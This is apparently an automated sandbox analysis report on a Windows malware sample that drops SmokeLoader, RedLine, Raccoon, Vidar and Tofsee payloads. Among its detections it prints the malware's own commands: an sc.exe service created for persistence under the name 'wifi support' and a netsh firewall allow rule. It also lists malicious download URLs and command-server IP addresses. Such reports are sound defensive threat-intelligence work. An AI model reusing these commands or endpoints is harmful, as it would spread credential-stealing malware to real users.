Play interactive tour

Edit tour

Windows Analysis Report ECD2MpEBSf.exe

Overview

General Information

Sample Name:	ECD2MpEBSf.exe
Analysis ID:	553404
MD5:	31f0d01ee1fd6876668692791657d97e
SHA1:	a45a34a020ad13c9373bd14c45268004f505e1e1
SHA256:	8facf32116a5f68467c71032d3a207abaa20fbcc56fcab6a3db650b4d30ad115
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

Raccoon RedLine SmokeLoader Tofsee Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Detected unpacking (overwrites its own PE header)

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Yara detected Raccoon Stealer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Sigma detected: Suspect Svchost Activity

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Yara detected Vidar stealer

Multi AV Scanner detection for dropped file

Yara detected Tofsee

Sigma detected: Copying Sensitive Files with Credential Data

Maps a DLL or memory area into another process

Found evasive API chain (may stop execution after checking mutex)

Uses netsh to modify the Windows network and firewall settings

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

May check the online IP address of the machine

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Sigma detected: Suspicious Svchost Process

Found evasive API chain (may stop execution after checking locale)

Contains functionality to inject code into remote processes

Deletes itself after installation

Tries to detect virtualization through RDTSC time measurements

Creates a thread in another existing process (thread injection)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Drops executables to the windows directory (C:\Windows) and starts them

Checks if the current machine is a virtual machine (disk enumeration)

Writes to foreign memory regions

.NET source code references suspicious native API functions

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Modifies the windows firewall

Contains functionality to detect sleep reduction / modifications

Found evasive API chain (may stop execution after checking computer name)

Antivirus or Machine Learning detection for unpacked file

One or more processes crash

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

Modifies existing windows services

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Sigma detected: Netsh Port or Application Allowed

Found large amount of non-executed APIs

May check if the current machine is a sandbox (GetTickCount - Sleep)

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Uses SMTP (mail sending)

Found evaded block containing many API calls

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

ECD2MpEBSf.exe (PID: 7104 cmdline: "C:\Users\user\Desktop\ECD2MpEBSf.exe" MD5: 31F0D01EE1FD6876668692791657D97E)

ECD2MpEBSf.exe (PID: 7132 cmdline: "C:\Users\user\Desktop\ECD2MpEBSf.exe" MD5: 31F0D01EE1FD6876668692791657D97E)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

BB8A.exe (PID: 6816 cmdline: C:\Users\user\AppData\Local\Temp\BB8A.exe MD5: 277680BD3182EB0940BC356FF4712BEF)

WerFault.exe (PID: 6968 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6816 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

CCB2.exe (PID: 6844 cmdline: C:\Users\user\AppData\Local\Temp\CCB2.exe MD5: 043B44289E31BD54357F9A5C21833259)

D936.exe (PID: 7124 cmdline: C:\Users\user\AppData\Local\Temp\D936.exe MD5: 9517CA2BC20EC061024C1209970CCD2E)

cmd.exe (PID: 6412 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\qeprvgom\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5468 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 4608 cmdline: C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 6464 cmdline: C:\Windows\System32\sc.exe" description qeprvgom "wifi internet conection MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 6604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

sc.exe (PID: 1716 cmdline: "C:\Windows\System32\sc.exe" start qeprvgom MD5: 24A3E2603E63BCB9695A2935D3B24695)

conhost.exe (PID: 64 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 6744 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 3716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

3D34.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\3D34.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

3D34.exe (PID: 2832 cmdline: C:\Users\user\AppData\Local\Temp\3D34.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

3D34.exe (PID: 472 cmdline: C:\Users\user\AppData\Local\Temp\3D34.exe MD5: D7DF01D8158BFADDC8BA48390E52F355)

A332.exe (PID: 6580 cmdline: C:\Users\user\AppData\Local\Temp\A332.exe MD5: 852D86F5BC34BF4AF7FA89C60569DF13)

CADF.exe (PID: 5628 cmdline: C:\Users\user\AppData\Local\Temp\CADF.exe MD5: CBE604877A46CEEBA112802BC17FFEF8)

CADF.exe (PID: 5504 cmdline: C:\Users\user\AppData\Local\Temp\CADF.exe MD5: CBE604877A46CEEBA112802BC17FFEF8)

D502.exe (PID: 2248 cmdline: C:\Users\user\AppData\Local\Temp\D502.exe MD5: 1B1E4286625BB189A526E910F2031C7B)

E3A9.exe (PID: 5272 cmdline: C:\Users\user\AppData\Local\Temp\E3A9.exe MD5: 5800952B83AECEFC3AA06CCB5B29A4C2)

AppLaunch.exe (PID: 5620 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe MD5: 6807F903AC06FF7E1670181378690B22)

FB58.exe (PID: 5136 cmdline: C:\Users\user\AppData\Local\Temp\FB58.exe MD5: 852D86F5BC34BF4AF7FA89C60569DF13)

svchost.exe (PID: 6408 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 3512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

jgdhbua (PID: 6700 cmdline: C:\Users\user\AppData\Roaming\jgdhbua MD5: 31F0D01EE1FD6876668692791657D97E)

jgdhbua (PID: 6784 cmdline: C:\Users\user\AppData\Roaming\jgdhbua MD5: 31F0D01EE1FD6876668692791657D97E)

svchost.exe (PID: 6680 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 6964 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)

WerFault.exe (PID: 6876 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6816 -ip 6816 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)

svchost.exe (PID: 6064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

krmdinzg.exe (PID: 6888 cmdline: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d"C:\Users\user\AppData\Local\Temp\D936.exe" MD5: C8DE2E3F0DF5D9E1C126828B1444DBEA)

svchost.exe (PID: 3000 cmdline: svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)

jgdhbua (PID: 5664 cmdline: C:\Users\user\AppData\Roaming\jgdhbua MD5: 31F0D01EE1FD6876668692791657D97E)

jgdhbua (PID: 6308 cmdline: C:\Users\user\AppData\Roaming\jgdhbua MD5: 31F0D01EE1FD6876668692791657D97E)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\A4DE.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x3b87:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author
00000001.00000002.721727855.00000000006A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000005.00000000.708255964.00000000044C1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000020.00000002.800983655.00000000006C0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000020.00000003.798724710.00000000007C0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000026.00000000.825922987.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.776599972.00000000004F0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.775841578.00000000007F9000.00000004.00000001.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000002C.00000002.899701090.0000000002070000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000012.00000002.833275323.00000000041F1000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002D.00000002.893709342.00000000000C2000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000026.00000000.825398173.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.833464312.0000000004361000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002D.00000003.893284342.0000000003702000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000026.00000000.826478110.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000001.00000002.721690876.0000000000680000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000023.00000002.1024071704.0000000000E70000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000027.00000003.861803378.0000000004EC0000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000002F.00000003.920806858.0000000004E40000.00000004.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000020.00000002.800731759.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000002F.00000002.922842020.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000026.00000000.827053471.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000002F.00000002.1015911464.0000000004DA0000.00000040.00000001.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
0000002C.00000002.901276330.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.776791205.00000000020A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000027.00000002.1024642477.0000000000400000.00000040.00020000.sdmp	JoeSecurity_Raccoon	Yara detected Raccoon Stealer	Joe Security
00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000011.00000003.779473426.00000000022D0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000020.00000002.801019606.00000000007C0000.00000004.00000001.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: D936.exe PID: 7124	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: krmdinzg.exe PID: 6888	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: svchost.exe PID: 3000	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author
1.1.ECD2MpEBSf.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.3.D936.exe.22d0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
18.2.3D34.exe.430f910.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
18.2.3D34.exe.444ba90.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
32.2.krmdinzg.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.0.ECD2MpEBSf.exe.400000.6.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
1.2.ECD2MpEBSf.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
35.2.svchost.exe.e70000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.0.ECD2MpEBSf.exe.400000.5.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
9.2.jgdhbua.6f15a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
17.2.D936.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
35.2.svchost.exe.e70000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
1.0.ECD2MpEBSf.exe.400000.4.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
11.1.jgdhbua.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.krmdinzg.exe.400000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
32.3.krmdinzg.exe.7c0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
32.2.krmdinzg.exe.7c0000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.ECD2MpEBSf.exe.5715a0.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
18.2.3D34.exe.444ba90.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
17.2.D936.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
11.2.jgdhbua.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.2.krmdinzg.exe.6c0e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
17.2.D936.exe.22b0e50.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
18.2.3D34.exe.430f910.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
32.2.krmdinzg.exe.7c0000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 20 entries

Sigma Overview

System Summary:

Sigma detected: Suspect Svchost Activity

Show sources

Source: Process started

Author: David Burkett: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d"C:\Users\user\AppData\Local\Temp\D936.exe", ParentImage: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe, ParentProcessId: 6888, ProcessCommandLine: svchost.exe, ProcessId: 3000

Sigma detected: Copying Sensitive Files with Credential Data

Show sources

Source: Process started

Author: Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\, CommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\D936.exe, ParentImage: C:\Users\user\AppData\Local\Temp\D936.exe, ParentProcessId: 7124, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\krmdinzg.exe" C:\Windows\SysWOW64\qeprvgom\, ProcessId: 5468

Sigma detected: Suspicious Svchost Process

Show sources

Source: Process started

Author: Florian Roth: Data: Command: svchost.exe, CommandLine: svchost.exe, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\svchost.exe, NewProcessName: C:\Windows\SysWOW64\svchost.exe, OriginalFileName: C:\Windows\SysWOW64\svchost.exe, ParentCommandLine: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d"C:\Users\user\AppData\Local\Temp\D936.exe", ParentImage: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe, ParentProcessId: 6888, ProcessCommandLine: svchost.exe, ProcessId: 3000

Sigma detected: Netsh Port or Application Allowed

Show sources

Source: Process started

Author: Markus Neis, Sander Wiebing: Data: Command: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, CommandLine|base64offset|contains: ijY, Image: C:\Windows\SysWOW64\netsh.exe, NewProcessName: C:\Windows\SysWOW64\netsh.exe, OriginalFileName: C:\Windows\SysWOW64\netsh.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\D936.exe, ParentImage: C:\Users\user\AppData\Local\Temp\D936.exe, ParentProcessId: 7124, ProcessCommandLine: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul, ProcessId: 6744

Sigma detected: New Service Creation

Show sources

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine: C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support, CommandLine|base64offset|contains: r, Image: C:\Windows\SysWOW64\sc.exe, NewProcessName: C:\Windows\SysWOW64\sc.exe, OriginalFileName: C:\Windows\SysWOW64\sc.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\D936.exe, ParentImage: C:\Users\user\AppData\Local\Temp\D936.exe, ParentProcessId: 7124, ProcessCommandLine: C:\Windows\System32\sc.exe" create qeprvgom binPath= "C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe /d\"C:\Users\user\AppData\Local\Temp\D936.exe\"" type= own start= auto DisplayName= "wifi support, ProcessId: 4608

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Yara detected Raccoon Stealer

Show sources

Source: Yara match	File source: 00000027.00000003.861803378.0000000004EC0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.920806858.0000000004E40000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.922842020.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.1015911464.0000000004DA0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000027.00000002.1024642477.0000000000400000.00000040.00020000.sdmp, type: MEMORY

Antivirus detection for URL or domain

Show sources

Source: http://unicupload.top/install5.exe	URL Reputation: Label: phishing
Source: http://data-host-coin-8.com/files/7729_1642101604_1835.exe	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/9030_1641816409_7037.exe	Avira URL Cloud: Label: malware
Source: http://81.163.30.181/l2.exe	Avira URL Cloud: Label: malware
Source: http://185.7.214.171:8080/6.php	URL Reputation: Label: malware
Source: http://185.163.204.22/capibar	Avira URL Cloud: Label: malware
Source: http://data-host-coin-8.com/files/6961_1642089187_2359.exe	Avira URL Cloud: Label: malware
Source: http://81.163.30.181/l3.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\888A.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012
Source: C:\Users\user\AppData\Local\Temp\CADF.exe	Avira: detection malicious, Label: HEUR/AGEN.1212012
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Avira: detection malicious, Label: HEUR/AGEN.1211353

Multi AV Scanner detection for submitted file

Show sources

Source: ECD2MpEBSf.exe

Virustotal: Detection: 36%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	ReversingLabs: Detection: 89%
Source: C:\Users\user\AppData\Local\Temp\6C37.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\AppData\Local\Temp\A332.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\A332.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\A4DE.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\FB58.exe	Metadefender: Detection: 34%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\FB58.exe	ReversingLabs: Detection: 76%

Machine Learning detection for sample

Show sources

Source: ECD2MpEBSf.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\6C37.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\krmdinzg.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\jgdhbua	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A332.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\3D34.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\A4DE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\FB58.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\E3A9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\D502.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\BB8A.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9889.exe	Joe Sandbox ML: detected

Source: 17.3.D936.exe.22d0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 17.2.D936.exe.22b0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.krmdinzg.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 35.2.svchost.exe.e70000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 15.3.CCB2.exe.7b0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.3.krmdinzg.exe.7c0000.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.krmdinzg.exe.6c0e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 32.2.krmdinzg.exe.7c0000.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 17.2.D936.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 15.2.CCB2.exe.680e50.1.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00407470 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	15_2_00407470
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00404830 memset,CryptStringToBinaryA,CryptStringToBinaryA,	15_2_00404830
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00407510 CryptUnprotectData,LocalAlloc,LocalFree,	15_2_00407510
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00407190 CryptUnprotectData,	15_2_00407190
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_004077A0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	15_2_004077A0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006876C0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	15_2_006876C0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00684A80 CryptStringToBinaryA,CryptStringToBinaryA,	15_2_00684A80
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_00687760 CryptUnprotectData,LocalAlloc,LocalFree,	15_2_00687760
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006873E0 CryptUnprotectData,	15_2_006873E0
Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Code function: 15_2_006879F0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	15_2_006879F0

Compliance:

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\AppData\Local\Temp\CCB2.exe	Unpacked PE file: 15.2.CCB2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\D936.exe	Unpacked PE file: 17.2.D936.exe.400000.0.unpack
Source: C:\Windows\SysWOW64\qeprvgom\krmdinzg.exe	Unpacked PE file: 32.2.krmdinzg.exe.400000.0.unpack

Source: unknown

HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.4:49952 version: TLS 1.0

